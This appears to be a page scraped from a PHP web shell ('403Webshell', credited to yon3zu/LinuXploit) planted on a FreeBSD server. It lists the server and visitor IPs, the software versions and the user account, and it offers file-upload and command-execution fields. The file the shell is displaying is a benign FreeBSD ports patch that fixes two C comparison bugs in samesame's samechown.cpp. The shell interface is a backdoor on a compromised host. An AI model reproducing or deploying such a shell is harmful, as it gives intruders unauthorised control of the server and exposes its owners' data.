403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/sysutils/samesame/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/sysutils/samesame/files/patch-src_samechown.cpp
--- src/samechown.cpp.orig	2018-04-12 08:29:19.856800000 +0200
+++ src/samechown.cpp	2018-04-12 08:30:19.550031000 +0200
@@ -47,7 +47,7 @@
 	value = strtoul(name, &end, 10);
 	if (errno)
 		err(1, "%s", name);
-	if (*end = '\0')
+	if (*end == '\0')
 		errx(1, "%s: illegal %s name", name, type);
 	return value;
 }
@@ -76,7 +76,7 @@
 	}
 	{
 		char *s = argv[argi];
-		if (argv[argi] != '\0')	// Argument was not: ...:gid
+		if (*argv[argi] != '\0')	// Argument was not: ...:gid
 		{
 			struct passwd *pw = getpwnam(argv[argi]);
 			owner = pw != NULL ? pw->pw_uid : id(s, "user");

Youez - 2016 - github.com/yon3zu
LinuXploit